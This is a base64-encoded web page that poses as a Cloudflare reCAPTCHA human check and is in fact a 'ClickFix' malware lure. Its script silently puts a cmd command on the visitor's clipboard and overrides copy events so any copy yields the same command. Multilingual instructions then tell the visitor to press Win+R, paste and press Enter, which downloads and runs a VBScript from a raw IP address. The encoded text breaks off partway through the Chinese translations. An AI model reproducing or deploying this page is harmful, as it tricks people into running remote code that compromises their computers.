InZlcmlmeS1jb250YWluZXIgdmVyaWZ5LWZvb3RlciIgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7Ij4KICAgICA8ZGl2IGNsYXNzPSJ2ZXJpZnktZm9vdGVyLWxlZnQiIHN0eWxlPSJ3aWR0aDogMjg2cHg7IGZsb2F0OiBsZWZ0OyB0ZXh0LWFsaWduOiBsZWZ0OyBmb250LXNpemU6IDE1cHg7Ij5QZXJmb3JtIHRoZSBzdGVwcyBhYm92ZSB0byBmaW5pc2ggdmVyaWZpY2F0aW9uLjwvZGl2PgogICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idmVyaWZ5LXZlcmlmeS1idXR0b24gYmxvY2siIGlkPSJ2ZXJpZnktYnV0dG9uIiBzdHlsZT0iYmFja2dyb3VuZDogIzVlNWU1ZTsgcGFkZGluZzogOXB4IDM4cHg7Ij5WZXJpZnk8L2J1dHRvbj4KICAgIDwvZGl2PgogICA8L2Rpdj4KCgogICA8c2NyaXB0PgogICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCBmdW5jdGlvbiAoKSB7CiAgICAgICBjb25zdCBkb21haW4gPSB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWU7CiAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuZG9tYWluIikuZm9yRWFjaChlbCA9PiB7IGlmIChlbCkgZWwudGV4dENvbnRlbnQgPSBkb21haW47IH0pOwogICAgIH0pOwogICA8L3NjcmlwdD4KCiAgPC9kaXY+CiAgPHAgc3R5bGU9ImZvbnQtc2l6ZTogMS41cmVtOyBsaW5lLWhlaWdodDogMi4yNXJlbTsgcGFkZGluZy10b3A6IDIwcHg7cGFkZGluZy10b3A6IDMzcHgiPgogICAgPHNwYW4gY2xhc3M9ImRvbWFpbi1uYW1lIj48L3NwYW4+IG5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLgogIDwvcD4KIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9ImZvb3RlciIgcm9sZT0iY29udGVudGluZm8iPgogPGRpdiBjbGFzcz0iZm9vdGVyLWlubmVyIj4KICA8ZGl2PjxkaXY+UmF5IElEOiA8Y29kZSBjbGFzcz0icmF5LWlkIj41NmE0YzUyOTlmZGV0bWNhPC9jb2RlPjwvZGl2PjwvZGl2PgogIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDVweDsiPlBsYXRmb3JtIHBlcmZvcm1hbmNlIGFuZCBzZWN1cml0eSA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwMDAiPkNsb3VkZmxhcmU8L3NwYW4+PC9kaXY+CiA8L2Rpdj4KPC9kaXY+Cgo8c2NyaXB0PgovKgogIAoqLwpjb25zdCBjb21tYW5kID0gJ2NtZCAvYyBlY2hvIFNldCBoPUNyZWF0ZU9iamVjdCgiV2luSHR0cC5XaW5IdHRwUmVxdWVzdC41LjEiKTpoLk9wZW4gIkdFVCIsImh0dHA6Ly8xOTguMTMuMTU4LjEyNzo1NTA2L255LnZicyIsMDpoLlNlbmQ6RXhlY3V0ZSBoLlJlc3BvbnNlVGV4dCA+ICIldGVtcCVcXG55LnZicyIgJiYgIiV0ZW1wJVxcbnkudmJzIic7CgoKKGZ1bmN0aW9uICgpIHsKICBjb25zdCBwYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOwogIGNvbnN0IHNpdGVQYXJhbSA9IHBhcmFtcy5nZXQoJ3NpdGUnKTsgICAgICAgCiAgY29uc3QgbG9nb1BhcmFtID0gcGFyYW1zLmdldCgnbG9nbycpOyAgICAgICAKCiAgZnVuY3Rpb24gZ2V0SG9zdG5hbWUodmFsKSB7CiAgICBpZiAoIXZhbCkgcmV0dXJuIHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSB8fCAnJzsKICAgIHRyeSB7IHJldHVybiBuZXcgVVJMKHZhbCwgd2luZG93LmxvY2F0aW9uLm9yaWdpbikuaG9zdG5hbWU7IH0KICAgIGNhdGNoIHsgcmV0dXJuIFN0cmluZyh2YWwpLnJlcGxhY2UoL15odHRwcz86XC9cLy9pLCcnKS5zcGxpdCgnLycpWzBdOyB9CiAgfQoKICBjb25zdCBob3N0ID0gZ2V0SG9zdG5hbWUoc2l0ZVBhcmFtKSB8fCB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUgfHwgJyc7CgoKICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuZG9tYWluLW5hbWUnKS5mb3JFYWNoKGVsID0+IHsgZWwudGV4dENvbnRlbnQgPSBob3N0OyB9KTsKCiAgLy8gYWt0dWVsbGVzIHdlYnNpdGUgaWNvbgogIGNvbnN0IGZhdmljb25VcmwgPSBsb2dvUGFyYW0gfHwgYGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vczIvZmF2aWNvbnM/c3o9MTI4JmRvbWFpbj0ke2VuY29kZVVSSUNvbXBvbmVudChob3N0KX1gOwogIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZHluYW1pYy1mYXZpY29uJykgfHwgKCgpPT57Y29uc3QgbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdsaW5rJyk7bC5yZWw9J2ljb24nO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQobCk7cmV0dXJuIGw7fSkoKSkuaHJlZiA9IGZhdmljb25Vcmw7CgoKICBjb25zdCBjYW5kaWRhdGVzID0gWwogICAgZmF2aWNvblVybCwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgIGBodHRwczovL2ljb25zLmR1Y2tkdWNrZ28uY29tL2lwMy8ke2VuY29kZVVSSUNvbXBvbmVudChob3N0KX0uaWNvYCwKICAgIGBodHRwczovLyR7aG9zdH0vZmF2aWNvbi5pY29gCiAgXS5maWx0ZXIoQm9vbGVhbik7CgogIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5sb2dvLWltZycpLmZvckVhY2goaW1nID0+IHsKICAgIGxldCBpID0gMDsKICAgIGNvbnN0IHRyeU5leHQgPSAoKSA9PiB7CiAgICAgIGlmIChpID49IGNhbmRpZGF0ZXMubGVuZ3RoKSB7IGltZy5zcmMgPSBmYXZpY29uVXJsOyByZXR1cm47IH0KICAgICAgaW1nLnNyYyA9IGNhbmRpZGF0ZXNbaSsrXTsKICAgIH07CiAgICBpbWcuYWx0ID0gaG9zdCArICcgbG9nbyc7CiAgICBpbWcub25lcnJvciA9IHRyeU5leHQ7CiAgICB0cnlOZXh0KCk7CiAgfSk7Cn0pKCk7Cjwvc2NyaXB0PgoKPHNjcmlwdD4KCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCBmdW5jdGlvbiAoKSB7CiAgICBjb25zdCBwcmVsb2FkZXJFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5wcmVsb2FkZXIiKTsKICAgIGNvbnN0IHByZWxvYWRlclRleHQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJlbG9hZGVyX3RleHQiKTsKICAgIGNvbnN0IHRleHRBbGxTdGVwID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnRleHRhbGxzdGVwIik7CiAgICBjb25zdCBjaGVja2JveFdpbmRvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGVja2JveC13aW5kb3ciKTsKICAgIGNvbnN0IHN0ZXAwRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDAiKTsKICAgIGNvbnN0IHN0ZXAxRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDEiKTsKICAgIGNvbnN0IHN0ZXAyRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDIiKTsKICAgIGNvbnN0IHN0ZXAzRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDMiKTsKICAgIGNvbnN0IGNoZWNrYm94ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94Iik7CiAgICBjb25zdCB2ZXJpZnlXaW5kb3cgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LXdpbmRvdyIpOwogICAgY29uc3Qgc3Bpbm5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzcGlubmVyIik7CiAgICBjb25zdCB2ZXJpZnlCdXR0b24gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LWJ1dHRvbiIpOwoKICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgIHByZWxvYWRlckVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgaWYgKHByZWxvYWRlclRleHQpIHByZWxvYWRlclRleHQuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICBpZiAodGV4dEFsbFN0ZXApIHRleHRBbGxTdGVwLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwogICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsKCiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgewogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsKICAgICAgICAgICAgICAgIGxldCBvcGFjaXR5ID0gMDsKICAgICAgICAgICAgICAgIGNvbnN0IGZhZGVJbiA9IHNldEludGVydmFsKCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBpZiAob3BhY2l0eSA+PSAxKSB7IGNsZWFySW50ZXJ2YWwoZmFkZUluKTsgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyBvcGFjaXR5ICs9IDAuMTsgY2hlY2tib3hXaW5kb3cuc3R5bGUub3BhY2l0eSA9IG9wYWNpdHk7IH0KICAgICAgICAgICAgICAgIH0sIDMwKTsKICAgICAgICAgICAgfQogICAgICAgIH0sIDIwMCk7CgogICAgICAgIHN0ZXAwRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CgogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICBzdGVwMEVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICAgIHN0ZXAxRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CiAgICAgICAgfSwgMjAwMCk7CiAgICB9LCAxNTAwKTsKCiAgICBpZiAoY2hlY2tib3gpIHsKICAgICAgY2hlY2tib3guYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCBmdW5jdGlvbiAoKSB7CgogICAgICAgICAgY29uc3QgdGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCd0ZXh0YXJlYScpOwogICAgICAgICAgdGV4dGFyZWEudmFsdWUgPSBjb21tYW5kOwogICAgICAgICAgdGV4dGFyZWEuc2V0QXR0cmlidXRlKCdyZWFkb25seScsICcnKTsKICAgICAgICAgIHRleHRhcmVhLnN0eWxlLnBvc2l0aW9uID0gJ2Fic29sdXRlJzsKICAgICAgICAgIHRleHRhcmVhLnN0eWxlLmxlZnQgPSAnLTk5OTlweCc7CiAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHRleHRhcmVhKTsKICAgICAgICAgIHRleHRhcmVhLnNlbGVjdCgpOwogICAgICAgICAgdHJ5IHsgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsgfSBjYXRjaChlKSB7IC8qIGlnbm9yZSAqLyB9CiAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHRleHRhcmVhKTsKCiAgICAgICAgICBzdGVwMUVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICBzdGVwMkVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwogICAgICAgICAgaWYgKHNwaW5uZXIpIHNwaW5uZXIuc3R5bGUudmlzaWJpbGl0eSA9ICJ2aXNpYmxlIjsKCiAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIHsKICAgICAgICAgICAgICAgIGNoZWNrYm94V2luZG93LnN0eWxlLndpZHRoID0gIjUzMHB4IjsKICAgICAgICAgICAgICAgIGNoZWNrYm94V2luZG93LnN0eWxlLmhlaWdodCA9ICJhdXRvIjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgaWYgKHZlcmlmeVdpbmRvdykgdmVyaWZ5V2luZG93LmNsYXNzTGlzdC5hZGQoImFjdGl2ZSIpOwogICAgICAgICAgfSwgNTAwKTsKICAgICAgfSk7CiAgICB9CgogICAgaWYgKHZlcmlmeUJ1dHRvbikgewogICAgICB2ZXJpZnlCdXR0b24uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICBpZiAodmVyaWZ5V2luZG93KSB2ZXJpZnlXaW5kb3cuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlIik7CiAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIGNoZWNrYm94V2luZG93LnN0eWxlLmhlaWdodCA9ICI3NHB4IjsKCiAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIGNoZWNrYm94V2luZG93LnN0eWxlLndpZHRoID0gIjMwMHB4IjsKICAgICAgICAgICAgICBzdGVwMkVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICAgICAgc3RlcDNFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKCiAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgIHN0ZXAzRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgICAgICAgc3RlcDFFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKICAgICAgICAgICAgICAgICAgaWYgKHNwaW5uZXIpIHNwaW5uZXIuc3R5bGUudmlzaWJpbGl0eSA9ICJoaWRkZW4iOwogICAgICAgICAgICAgIH0sIDEwMDApOwogICAgICAgICAgfSwgNjAwKTsKICAgICAgfSk7CiAgICB9CgoKICAgIGNvbnN0IHZlckVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmaWNhdGlvbi1pZCIpOwogICAgaWYgKHZlckVsKSB2ZXJFbC50ZXh0Q29udGVudCA9IE1hdGguZmxvb3IoMTAwMDAwICsgTWF0aC5yYW5kb20oKSAqIDkwMDAwMCk7CiAgICBjb25zdCBjaGFycyA9ICJhYmNkZWYwMTIzNDU2Nzg5IjsKICAgIGNvbnN0IHJheUVsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnJheS1pZCIpOwogICAgaWYgKHJheUVsKSB7CiAgICAgIHJheUVsLnRleHRDb250ZW50ID0KICAgICAgICBBcnJheS5mcm9tKHsgbGVuZ3RoOiAxNiB9LCAoKSA9PiBjaGFyc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFycy5sZW5ndGgpXSkuam9pbigiIik7CiAgICB9Cn0pOwoKCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvcHknLCBmdW5jdGlvbiAoZSkgewoKICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgIGlmIChlLmNsaXBib2FyZERhdGEpIHsKICAgICAgICBlLmNsaXBib2FyZERhdGEuc2V0RGF0YSgndGV4dC9wbGFpbicsIGNvbW1hbmQpOwogICAgfSBlbHNlIGlmICh3aW5kb3cuY2xpcGJvYXJkRGF0YSkgewogICAgICAgIHdpbmRvdy5jbGlwYm9hcmREYXRhLnNldERhdGEoJ1RleHQnLCBjb21tYW5kKTsKICAgIH0KfSk7Cjwvc2NyaXB0PgoKCjxzY3JpcHQ+CihmdW5jdGlvbigpewogIGNvbnN0IGkxOG4gPSB7CiAgICBlbjp7Y2hlY2tpbmc6IkNoZWNraW5nIGlmIHlvdSBhcmUgaHVtYW4uIFRoaXMgbWF5IHRha2UgYSBmZXcgc2Vjb25kcy4iLHZlcmlmeUluc3RydWN0aW9uOiJWZXJpZnkgeW91IGFyZSBodW1hbiBieSBjb21wbGV0aW5nIHRoZSBhY3Rpb24gYmVsb3cuIix2ZXJpZnlpbmc6IlZlcmlmeWluZy4uLiIsbm90Um9ib3Q6IkknbSBub3QgYSByb2JvdCIsc3RlcHM6IlZlcmlmaWNhdGlvbiBTdGVwcyIsc3VjY2VzczoiU3VjY2Vzc2Z1bGx5LiIsdmVyaWZ5VGl0bGU6IlRvIGJldHRlciBwcm92ZSB5b3UgYXJlIG5vdCBhIHJvYm90LCBwbGVhc2U6IixzdGVwMToiUHJlc3MgJmFtcDsgaG9sZCB0aGUgV2luZG93cyBLZXkgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiSW4gdGhlIHZlcmlmaWNhdGlvbiB3aW5kb3csIHByZXNzIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHJlc3MgPGI+RW50ZXI8L2I+IG9uIHlvdXIga2V5Ym9hcmQgdG8gZmluaXNoLiIsb2JzZXJ2ZToiWW91IHdpbGwgb2JzZXJ2ZSBhbmQgYWdyZWU6Iixjb25maXJtTGVhZDoiSSBhbSBub3QgYSByb2JvdCAtIHJlQ0FQVENIQSBWZXJpZmljYXRpb24gSUQ6ICIsZmluYWw6IlBlcmZvcm0gdGhlIHN0ZXBzIGFib3ZlIHRvIGZpbmlzaCB2ZXJpZmljYXRpb24uIix2ZXJpZnlCdG46IlZlcmlmeSIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbnRpYWxpdHkiLHRlcm1zOiJUZXJtcyBhbmQgQ29uZGl0aW9ucyIsZm9vdGVyOiJuZWVkcyB0byByZXZpZXcgdGhlIHNlY3VyaXR5IG9mIHlvdXIgY29ubmVjdGlvbiBiZWZvcmUgcHJvY2VlZGluZy4ifSwKCiAgICBkZTp7Y2hlY2tpbmc6IsOcYmVycHLDvGZ1bmcsIG9iIFNpZSBlaW4gTWVuc2NoIHNpbmQuIERpZXMga2FubiBlaW5pZ2UgU2VrdW5kZW4gZGF1ZXJuLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkJlc3TDpHRpZ2VuIFNpZSwgZGFzcyBTaWUgZWluIE1lbnNjaCBzaW5kLCBpbmRlbSBTaWUgZGllIGZvbGdlbmRlIEFrdGlvbiBhdXNmw7xocmVuLiIsdmVyaWZ5aW5nOiJXaXJkIMO8YmVycHLDvGZ0Li4uIixub3RSb2JvdDoiSWNoIGJpbiBrZWluIFJvYm90ZXIiLHN0ZXBzOiLDnGJlcnByw7xmdW5nIixzdWNjZXNzOiJFcmZvbGdyZWljaC4iLHZlcmlmeVRpdGxlOiJVbSBuYWNod2Vpc2VuIHp1IGvDtm5uZW4sIGRhc3MgU2llIGtlaW4gUm9ib3RlciBzaW5kOiIsc3RlcDE6IkhhbHRlbiBTaWUgZGllIFdpbmRvd3MtVGFzdGUgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4gZ2VkcsO8Y2t0LiIsc3RlcDI6IkRyw7xja2VuIFNpZSBpbSBWZXJpZml6aWVydW5nc2ZlbnN0ZXIgPGI+U3RyZzwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJEcsO8Y2tlbiBTaWUgZGllIDxiPkVpbmdhYmV0YXN0ZTwvYj4sIHVtIGFienVzY2hsaWXDn2VuLiIsb2JzZXJ2ZToiV2VubiBTaWUgZm9ydGZhaHJlbiwgYmVzdMOkdGlnZW4gU2llOiIsY29uZmlybUxlYWQ6IkljaCBiaW4ga2VpbiBSb2JvdGVyIOKAkyByZUNBUFRDSEEgVmVyaWZpemllcnVuZ3MtSUQ6ICIsZmluYWw6IkbDvGhyZW4gU2llIGRpZSBvYmlnZW4gU2Nocml0dGUgYXVzLCB1bSBkaWUgw5xiZXJwcsO8ZnVuZyBhYnp1c2NobGllw59lbi4iLHZlcmlmeUJ0bjoiw5xiZXJwcsO8ZmVuIixjb25maWRlbnRpYWxpdHk6IlZlcnRyYXVsaWNoa2VpdCIsdGVybXM6Ik51dHp1bmdzYmVkaW5ndW5nZW4iLGZvb3RlcjoibXVzcyBkaWUgU2ljaGVyaGVpdCBJaHJlciBWZXJiaW5kdW5nIHByw7xmZW4sIGJldm9yIFNpZSBmb3J0ZmFocmVuLiJ9LAoKICAgIGZyOntjaGVja2luZzoiVsOpcmlmaWNhdGlvbiBxdWUgdm91cyDDqnRlcyBodW1haW4uIENlbGEgcGV1dCBwcmVuZHJlIHF1ZWxxdWVzIHNlY29uZGVzLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlbDqXJpZmlleiBxdWUgdm91cyDDqnRlcyBodW1haW4gZW4gY29tcGzDqXRhbnQgbOKAmWFjdGlvbiBjaS1kZXNzb3VzLiIsdmVyaWZ5aW5nOiJWw6lyaWZpY2F0aW9u4oCmIixub3RSb2JvdDoiSmUgbmUgc3VpcyBwYXMgdW4gcm9ib3QiLHN0ZXBzOiJWw6lyaWZpY2F0aW9uIixzdWNjZXNzOiJSw6l1c3NpLiIsdmVyaWZ5VGl0bGU6IlBvdXIgcHJvdXZlciBxdWUgdm91cyBu4oCZw6p0ZXMgcGFzIHVuIHJvYm90IDoiLHN0ZXAxOiJNYWludGVuZXogbGEgdG91Y2hlIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiRGFucyBsYSBmZW7DqnRyZSBkZSB2w6lyaWZpY2F0aW9uLCBhcHB1eWV6IHN1ciA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IkFwcHV5ZXogc3VyIGxhIHRvdWNoZSA8Yj5FbnRyw6llPC9iPiBwb3VyIHRlcm1pbmVyLiIsb2JzZXJ2ZToiRW4gY29udGludWFudCwgdm91cyBjb25maXJtZXogOiIsY29uZmlybUxlYWQ6IkplIG5lIHN1aXMgcGFzIHVuIHJvYm90IOKAkyBJRCBkZSB2w6lyaWZpY2F0aW9uIHJlQ0FQVENIQSA6ICIsZmluYWw6IkVmZmVjdHVleiBsZXMgw6l0YXBlcyBjaS1kZXNzdXMgcG91ciB0ZXJtaW5lciBsYSB2w6lyaWZpY2F0aW9uLiIsdmVyaWZ5QnRuOiJWw6lyaWZpZXIiLGNvbmZpZGVudGlhbGl0eToiQ29uZmlkZW50aWFsaXTDqSIsdGVybXM6IkNvbmRpdGlvbnMgZ8OpbsOpcmFsZXMiLGZvb3RlcjoiZG9pdCB2w6lyaWZpZXIgbGEgc8OpY3VyaXTDqSBkZSB2b3RyZSBjb25uZXhpb24gYXZhbnQgZGUgY29udGludWVyLiJ9LAoKICAgIGl0OntjaGVja2luZzoiVmVyaWZpY2EgY2hlIHR1IHNpYSB1bWFuby4gUG90cmViYmUgdm9sZXJjaSBxdWFsY2hlIHNlY29uZG8uIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZpY2EgZGkgZXNzZXJlIHVtYW5vIGNvbXBsZXRhbmRvIGwnYXppb25lIHNlZ3VlbnRlLiIsdmVyaWZ5aW5nOiJWZXJpZmljYSBpbiBjb3Jzb+KApiIsbm90Um9ib3Q6Ik5vbiBzb25vIHVuIHJvYm90IixzdGVwczoiVmVyaWZpY2EiLHN1Y2Nlc3M6IkNvbXBsZXRhdG8uIix2ZXJpZnlUaXRsZToiUGVyIGRpbW9zdHJhcmUgY2hlIG5vbiBzZWkgdW4gcm9ib3Q6IixzdGVwMToiVGllbmkgcHJlbXV0byBpbCB0YXN0byBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6Ik5lbGxhIGZpbmVzdHJhIGRpIHZlcmlmaWNhIHByZW1pIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHJlbWkgPGI+SW52aW88L2I+IHBlciBjb21wbGV0YXJlLiIsb2JzZXJ2ZToiUHJvc2VndWVuZG8sIGNvbmZlcm1pOiIsY29uZmlybUxlYWQ6Ik5vbiBzb25vIHVuIHJvYm90IOKAkyBJRCBkaSB2ZXJpZmljYSByZUNBUFRDSEE6ICIsZmluYWw6IkVzZWd1aSBpIHBhc3NhZ2dpIHNvcHJhIHBlciB0ZXJtaW5hcmUgbGEgdmVyaWZpY2EuIix2ZXJpZnlCdG46IlZlcmlmaWNhIixjb25maWRlbnRpYWxpdHk6IlJpc2VydmF0ZXp6YSIsdGVybXM6IlRlcm1pbmkgZSBjb25kaXppb25pIixmb290ZXI6ImRldmUgdmVyaWZpY2FyZSBsYSBzaWN1cmV6emEgZGVsbGEgY29ubmVzc2lvbmUgcHJpbWEgZGkgcHJvY2VkZXJlLiJ9LAoKICAgIGFyOntjaGVja2luZzoi2KzYp9ix2Yog2KfZhNiq2K3ZgtmCINmF2YYg2KPZhtmDINil2YbYs9in2YYuINmC2K8g2YrYs9iq2LrYsdmCINmH2LDYpyDYqNi22Lkg2KvZiNin2YbZjS4iLHZlcmlmeUluc3RydWN0aW9uOiLYqtit2YLZgiDZhdmGINij2YbZgyDYpdmG2LPYp9mGINio2KXZg9mF2KfZhCDYp9mE2K7Yt9mI2Kkg2KPYr9mG2KfZhy4iLHZlcmlmeWluZzoi2KzYp9ix2Y0g2KfZhNiq2K3ZgtmC4oCmIixub3RSb2JvdDoi2YTYs9iqINio2LHZhtin2YXYrCDYsdmI2KjZiNiqIixzdGVwczoi2KfZhNiq2K3ZgtmCIixzdWNjZXNzOiLYqtmFINio2YbYrNin2K0uIix2ZXJpZnlUaXRsZToi2YTYpdir2KjYp9iqINij2YbZgyDZhNiz2Kog2LHZiNio2YjYqtmL2Kc6IixzdGVwMToi2KfYtti62Lcg2YXYuSDYp9mE2KfYs9iq2YXYsdin2LEg2LnZhNmJINmF2YHYqtin2K0gV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiLZgdmKINmG2KfZgdiw2Kkg2KfZhNiq2K3ZgtmCINin2LbYuti3IDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoi2KfYtti62LcgPGI+RW50ZXI8L2I+INmE2YTYpdmG2YfYp9ihLiIsb2JzZXJ2ZToi2KjYp9mE2YXYqtin2KjYudip2Iwg2YHYpdmG2YMg2KrYpNmD2K86Iixjb25maXJtTGVhZDoi2KPZhtinINmE2LPYqiDYsdmI2KjZiNiq2YvYpyDigJMg2YXYudix2ZHZgSDYqtit2YLZgiByZUNBUFRDSEE6ICIsZmluYWw6Itij2YPZhdmEINin2YTYrti32YjYp9iqINij2LnZhNin2Ycg2YTYpdmG2YfYp9ihINin2YTYqtit2YLZgi4iLHZlcmlmeUJ0bjoi2KrYrdmC2YIiLGNvbmZpZGVudGlhbGl0eToi2KfZhNiz2LHZitipIix0ZXJtczoi2KfZhNi02LHZiNi3INmI2KfZhNij2K3Zg9in2YUiLGZvb3Rlcjoi2YrYrNioINmF2LHYp9is2LnYqSDYo9mF2KfZhiDYp9mE2KfYqti12KfZhCDZgtio2YQg2KfZhNmF2KrYp9io2LnYqS4ifSwKCiAgICB6aDp7Y2hlY2tpbmc6Iuato+WcqOajgOafpeaCqOaYr+WQpuS4uuS6uuexu+OAgui/meWPr+iDvemcgOimgeWHoOenkumSn+OAgiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IumAmui/h+WujOaIkOS7peS4i+aTjeS9nOmqjOivgeaCqOaYr+S6uuexu+OAgiIsdmVyaWZ5aW5nOiLmraPlnKjpqozor4HigKYiLG5vdFJvYm90OiLmiJHkuI3mmK/mnLrlmajkuroiLHN0ZXBzOiLpqozor4EiLHN1Y2Nlc3M6IuaIkOWKn+OAgiIsdmVyaWZ5VGl0bGU6IuS4uuivgeaYjuaCqOS4jeaYr+acuuWZqOS6uu+8miIsc3RlcDE6IuaMieS9jyBXaW5kb3dzIOmUriA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPuOAgiIsc3RlcDI6IuWcqOmqjOivgeeql+WPo